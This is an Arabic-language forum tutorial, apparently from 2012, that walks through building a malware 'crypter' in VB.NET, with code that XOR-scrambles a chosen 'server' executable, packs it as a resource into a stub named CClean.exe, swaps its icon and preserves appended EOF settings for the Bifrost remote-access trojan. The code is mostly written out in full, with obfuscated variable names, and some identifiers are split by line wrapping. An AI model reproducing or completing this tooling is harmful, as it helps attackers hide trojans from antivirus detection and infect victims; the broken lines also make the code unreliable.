عذب المشاعر Admin
الدولــــــة : عدد مواضيعي ومشاركاتي : 181 نقاط : 637 التقييم : 2 تاريخ الميلاد : 20/05/1988 تاريخ التسجيل : 13/06/2012 العمر : 35 العمل/الترفيه : الهكر
| موضوع: شرح عمل برنامج تشفير السبت يوليو 07, 2012 8:25 am | |
| بسم الله الذي لا يضر مع اسمه شيئ في الأرض
ولا في السماء وهو السميع العليم
تحية طيبة إلى كل عمار المنتدى , من إداريين
ومشرفيين وأعضاء & الزوار
حياكم الله .
معنا اليوم إن شاء الله شرح عمل برنامج تشفير
مثل DZ CRYPTER V3
الشرح راح يكون بالصور أرجو من الجميع
الإنتباه والتركيز .
سنستعمل برنامج واحد فقط وهو
Microsoft Visual Studio 2008
بسم الله نبدأ
أولا : نفتح الفجوال 2008 نعمل مشروع جديد
سميه كيفما شئت .
الأن بعد ما عملنا مشروع جديد, نضيف الثيم .
لمعرفة كيف إضافة الثيم في الفجوال 2008
شرح وضع الثيمات في الفيجوال دوت نت 2008
لتحميل الثيم المستعمل
[size=21]لاإله إلا الله
بعد تحميل الثيم وتركيبه , صمم مثل هذه
الواجهة أو صمم أي واجهة تريد .
المهم الواجهة تكون جميلة لأنها هي التي تزيد
برنامجك جمالا ورونقا .
خذ راحتك في التصميم , كل الأدوات المستعملة
هي للثيم فقط ماعدا Label تجده في أدوات الفجوال
جيد إلى الأن , نقوم بإضافة الأكواد
دبل كليك على الفورم وضع هذا الكود في
أعلى الصفحة .
Imports System.IO
نضيف الكود الخاص بالتشفير
Private Sub ScrambleAndPack(ByRef bytes() As Byte) Dim rand As New Random Dim seed As Integer = rand.Next rand = New Random(seed) Dim entropy(bytes.Length - 1) As Byte rand.NextBytes(entropy) For i As Integer = 0 To bytes.Length - 1 bytes(i) = bytes(i) Xor entropy(i) Next ' Stick the seed on the end. ReDim Preserve bytes(bytes.Length + 3) Buffer.BlockCopy(BitConverter.GetBytes(seed), 0, bytes, bytes.Length - 4, 4)
End Sub
نضيف موديل جديد ونلصق في الكود التالي
Imports System.Runtime.InteropServices Module module1 Private Function ToPtr(ByVal data As Object) As IntPtr Dim h As GCHandle = GCHandle.Alloc(data, GCHandleType.Pinned) Dim ptr As IntPtr Try ptr = h.AddrOfPinnedObject() Finally h.Free() End Try Return ptr
End Function
<DllImport("kernel32.dll", SetLastError:=True)> _ Private Function UpdateResource(ByVal hUpdate As IntPtr, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As UShort, ByVal lpData As IntPtr, ByVal cbData As UInteger) As Boolean End Function <DllImport("kernel32.dll", SetLastError:=True)> _ Private Function BeginUpdateResource(ByVal pFileName As String, <MarshalAs(UnmanagedType.Bool)> ByVal bDeleteExistingResources As Boolean) As IntPtr End Function <DllImport("kernel32.dll", SetLastError:=True)> _ Private Function EndUpdateResource(ByVal hUpdate As IntPtr, ByVal fDiscard As Boolean) As Boolean End Function
Public Function WriteResource(ByVal filename As String, ByVal bytes As Byte()) As Boolean
Try Dim LS8pfURfJz0B7GDZL0wA76CwsqNkAeldnah As IntPtr = BeginUpdateResource(filename, False) Dim dhEQ9tCe1t4WmyvtcElmLxYoifg7n71Apb45dj268hE1elif As Byte() = bytes Dim Do76Lipp5QtvRrtpelif As IntPtr = ToPtr(dhEQ9tCe1t4WmyvtcElmLxYoifg7n71Apb45dj268hE1 elif) Dim Tt4f586j33NQ0qpfRUrx4aTzKmhGxW826cq20q2ynz09wSser As Boolean = UpdateResource(LS8pfURfJz0B7GDZL0wA76CwsqNkAeldnah , "GAY", "69", 0, Do76Lipp5QtvRrtpelif, Convert.ToUInt32(dhEQ9tCe1t4WmyvtcElmLxYoifg7n71Ap b45dj268hE1elif.Length)) EndUpdateResource(LS8pfURfJz0B7GDZL0wA76CwsqNkAeld nah, False) Catch ex As Exception Return False End Try Return True
End Function End Module
الكود الأول والثاني خاص بالتشفير , لابد أن
يكونوا موجودين
الأن نضغط على الزر الأول لفتح السيرفر المراد
تشفيره , ضع هذا الكود فيه
Dim NB As New OpenFileDialog Dim FF As New OpenFileDialog Dim NBX As New SaveFileDialog Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click With NB .Filter = "Executable(*.exe) | *.exe" .Title = "Choose Your File.." .ShowDialog() TextBox1.Text = NB.FileName End With End Sub
Dim NB As New OpenFileDialog
هذا الكود هو لأداة الحوار لجلب أي شيئ , برامج ,
صور إلى غير ذلك , نحن هنا عرفنها فقط بالكود
يمكنك إضافتها من شريط الأدوات
الزر الثاني سأقوم بشرحه فيما بعد بإذن الله
مع الستب في وقت لاحق . لأن الكود لازم يكون
في الستب والبرنامج معا
نحن اليوم بصدد شرح البرنامج فقط
المهم :
نذهب إلى زر الأيقونة , نضيف كلاس جديد ونسميه
Icon Changer
Option Strict On Option Explicit On Option Infer On Imports System.Runtime.InteropServices Imports System.Security Public Class IconChanger <SuppressUnmanagedCodeSecurity()> _ Private Class NativeMethods <DllImport("kernel32")> _ Public Shared Function BeginUpdateResource( _ ByVal fileName As String, _ <MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr End Function <DllImport("kernel32")> _ Public Shared Function UpdateResource( _ ByVal hUpdate As IntPtr, _ ByVal type As IntPtr, _ ByVal name As IntPtr, _ ByVal language As Short, _ <MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _ ByVal data() As Byte, _ ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function <DllImport("kernel32")> _ Public Shared Function EndUpdateResource( _ ByVal hUpdate As IntPtr, _ <MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function End Class <StructLayout(LayoutKind.Sequential)> _ Private Structure ICONDIR Public Reserved As UShort Public Type As UShort Public Count As UShort End Structure <StructLayout(LayoutKind.Sequential)> _ Private Structure ICONDIRENTRY Public Width As Byte Public Height As Byte Public ColorCount As Byte Public Reserved As Byte Public Planes As UShort Public BitCount As UShort Public BytesInRes As Integer Public ImageOffset As Integer End Structure <StructLayout(LayoutKind.Sequential)> _ Private Structure BITMAPINFOHEADER Public Size As UInteger Public Width As Integer Public Height As Integer Public Planes As UShort Public BitCount As UShort Public Compression As UInteger Public SizeImage As UInteger Public XPelsPerMeter As Integer Public YPelsPerMeter As Integer Public ClrUsed As UInteger Public ClrImportant As UInteger End Structure <StructLayout(LayoutKind.Sequential, Pack:=2)> _ Private Structure GRPICONDIRENTRY Public Width As Byte Public Height As Byte Public ColorCount As Byte Public Reserved As Byte Public Planes As UShort Public BitCount As UShort Public BytesInRes As Integer Public ID As UShort End Structure Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String) InjectIcon(exeFileName, iconFileName, 1, 1) End Sub Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger) Const RT_ICON As UInteger = 3UI Const RT_GROUP_ICON As UInteger = 14UI Dim iconFile As IconFile = iconFile.FromFile(iconFileName) Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False) Dim data = iconFile.CreateIconGroupData(iconBaseID) NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length) For i = 0 To iconFile.ImageCount - 1 Dim image = iconFile.ImageData(i) NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length) Next NativeMethods.EndUpdateResource(hUpdate, False) End Sub Private Class IconFile Private iconDir As New ICONDIR Private iconEntry() As ICONDIRENTRY Private iconImage()() As Byte Public ReadOnly Property ImageCount() As Integer Get Return iconDir.Count End Get End Property Public ReadOnly Property ImageData(ByVal index As Integer) As Byte() Get Return iconImage(index) End Get End Property Private Sub New() End Sub Public Shared Function FromFile(ByVal filename As String) As IconFile Dim instance As New IconFile Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename) Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned) instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.Addr OfPinnedObject, GetType(ICONDIR)), ICONDIR) instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {} instance.iconImage = New Byte(instance.iconDir.Count - 1)() {} Dim offset = Marshal.SizeOf(instance.iconDir) Dim iconDirEntryType = GetType(ICONDIRENTRY) Dim size = Marshal.SizeOf(iconDirEntryType) For i = 0 To instance.iconDir.Count - 1 Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY) instance.iconEntry(i) = entry instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {} Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes) offset += size Next pinnedBytes.Free() Return instance End Function Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte() Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount Dim data(sizeOfIconGroupData - 1) As Byte Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned) Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False) Dim offset = Marshal.SizeOf(iconDir) For i = 0 To ImageCount - 1 Dim grpEntry As New GRPICONDIRENTRY Dim bitmapheader As New BITMAPINFOHEADER Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned) Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER))) pinnedBitmapInfoHeader.Free() grpEntry.Width = iconEntry(i).Width grpEntry.Height = iconEntry(i).Height grpEntry.ColorCount = iconEntry(i).ColorCount grpEntry.Reserved = iconEntry(i).Reserved grpEntry.Planes = bitmapheader.Planes grpEntry.BitCount = bitmapheader.BitCount grpEntry.BytesInRes = iconEntry(i).BytesInRes grpEntry.ID = CType(iconBaseID + i, UShort) Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False) offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY)) Next pinnedData.Free() Return data End Function End Class End Class
هذا Class خاص بالأيقونة
نروح لزر الأيقونة ونضيف الكود .
On Error Resume Next With FF .Filter = "Icon(*.ico) | *.ico" .Title = "Choose Your File.." .ShowDialog() TextBox2.Text = FF.FileName End With Dim i As New Icon(FF.FileName) Dim b As New Bitmap(i.ToBitmap) PictureBox1.Image = b
هذا الكود هو لجلب أيقونة للسيرفر
Dim i As New Icon(FF.FileName) Dim b As New Bitmap(i.ToBitmap) PictureBox1.Image = b
لإضهار الأيقونة التي تم جلبها في صورة .
جاء دور زر التشفير
On Error GoTo Err Dim bytes() As Byte = My.Computer.FileSystem.ReadAllBytes(TextBox1.Text) ScrambleAndPack(bytes)
With NBX .Filter = " (Executable) (*.exe) | *.exe" .Title = "Saves as" If NBX.ShowDialog = Windows.Forms.DialogResult.OK Then IO.File.Copy(Application.StartupPath & "\CClean.exe", NBX.FileName) module1.WriteResource(NBX.FileName, bytes) End If End With IconChanger.InjectIcon(NBX.FileName, TextBox2.Text) MsgBox("Encryption has been successfully", vbInformation) Exit Sub Err: End
الكود التالي خاص بالستب الخارجي , هنا يمكنك
من تغيير اسمه إلى أي اسم تريده
IO.File.Copy(Application.StartupPath & "\CClean.exe", NBX.FileName)
ننتقل إلى اللغة التي أضفناها في ComboBox
دبل كليك عليها وضع الكود المرفق
Private Sub ReactorComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ReactorComboBox1.SelectedIndexChanged If ReactorComboBox1.SelectedItem = "العربية" Then Button1.Text = "تصفح" Button2.Text = "الأيقونة" Button3.Text = "شفر" Button4.Text = "حول" Label2.Text = "اختر السيرفر المراد تشفيره" Label3.Text = "اختر أيقونة للسيرفر"
End If If ReactorComboBox1.SelectedItem = "English" Then Button1.Text = "Browse" Button2.Text = "Icon" Button3.Text = "Crypter" Button4.Text = "About" Label2.Text = "Select a server to be encrypted" Label3.Text = "Select an Icon for server"
End If End Sub
يمكنك من إضافة أي لغة تريد
الكود بسيط وسهل جدا
جرب إضافة لغات أخرى لكي تتقنه
خاصية EOF هي خاصة لبرنامج البيفروست
التي يكون فيه إعدادات مكونة عليه من قبل
يعني لما تشفر السيرفر بالبرنامج لا تضع ثانية
الإعدادات ,
ضع الأكواد التالية إلى الفورم في أي مكان تريد
المهم يكون في الفورم
Public Function ReadEOFData(ByRef FilePath As String) As String On Error GoTo Err_Renamed Dim sEOFBuf, sFileBuf, sChar As String Dim lPos2, lFF, lPos, lCount As Integer If Dir(FilePath) = "" Then GoTo Err_Renamed lFF = FreeFile() FileOpen(lFF, FilePath, OpenMode.Binary) sFileBuf = Space(LOF(lFF)) FileGet(lFF, sFileBuf) FileClose(lFF) lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30)) sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1)) ReadEOFData = StrReverse(sEOFBuf) If ReadEOFData = "" Then End If Exit Function Err_Renamed: ReadEOFData = vbNullString End Function
لقراءة إن كان السيرفر فيه إعدادات أو لا
Sub WriteEOFData(ByRef FilePath As String, ByRef EOFData As String) Dim sFileBuf As String Dim zl0yn4HvvgQwNctXrbgBwtm85WvPWRfj1QSdpjIbxL As String Dim lFF As Integer Try If Dir(FilePath) = "" Then Exit Sub Dim ibP1BC0GxpyYnn6BE4YphO36U27OayFzjGgf As String Try Catch End Try lFF = FreeFile() Dim DqCuzUzD6SOpGiZVi3KkVg93beHeluiKVVTZ19Ir87QUXN As String FileOpen(lFF, FilePath, OpenMode.Binary) Try Catch End Try sFileBuf = Space(LOF(lFF)) Dim r01hMPnLRhdJZ34ZjyWtVxJoJXPlRsZlso2Meno1SMvxai5F2d YYWcLT As String FileGet(lFF, sFileBuf) Dim bvRQjXaRuT42fSqfUkwccNNt4JqEoHcrdaTol As String FileClose(lFF) Try Catch End Try Kill(FilePath) Dim Cs6D8Mgh79KmPyHt2OYMxrsqweWeFkTmqukEmN5zl0yn4HvvgQ wN As String lFF = FreeFile() Dim ctXrbgBwtm85WvPWRfj1QSdpjIbxLibP1BC0GxpyYnn6B As String FileOpen(lFF, FilePath, OpenMode.Binary) Try Catch End Try FilePut(lFF, sFileBuf & EOFData) Dim E4YphO36U27OayFzjGgfDqCuzUzD6SOpGiZVi3Kk As String FileClose(lFF) Catch End Try End Sub
Public Function GetNullBytes(ByRef lNum As Object) As String Dim sBuf As String Dim i As Short For i = 1 To lNum sBuf = sBuf & Chr(0) Next GetNullBytes = sBuf End Function
تسمى هاته الأكواد التي أضفناها الخاصة ب EOF
بالسلاسل , String
زر الحقوق
أضف فورم جديد مثل هذا وزخرف فيه كيفما شئت
ثم ضع هذا الكود, يعني دبل كليك على الزر
Form2.ShowDialog()
إن شاء الله يكون الشرح واضح , أعلم أنه فيه بعض
من الصعوبات , لكن حببت أن أوضح الفكرة فقط
الجهاز عندي بطيئ جدا , لكن أعدكم أني سأعمل لكم
شرح فيديوا . إنتظرونا عن قريب .
[/size] | |
|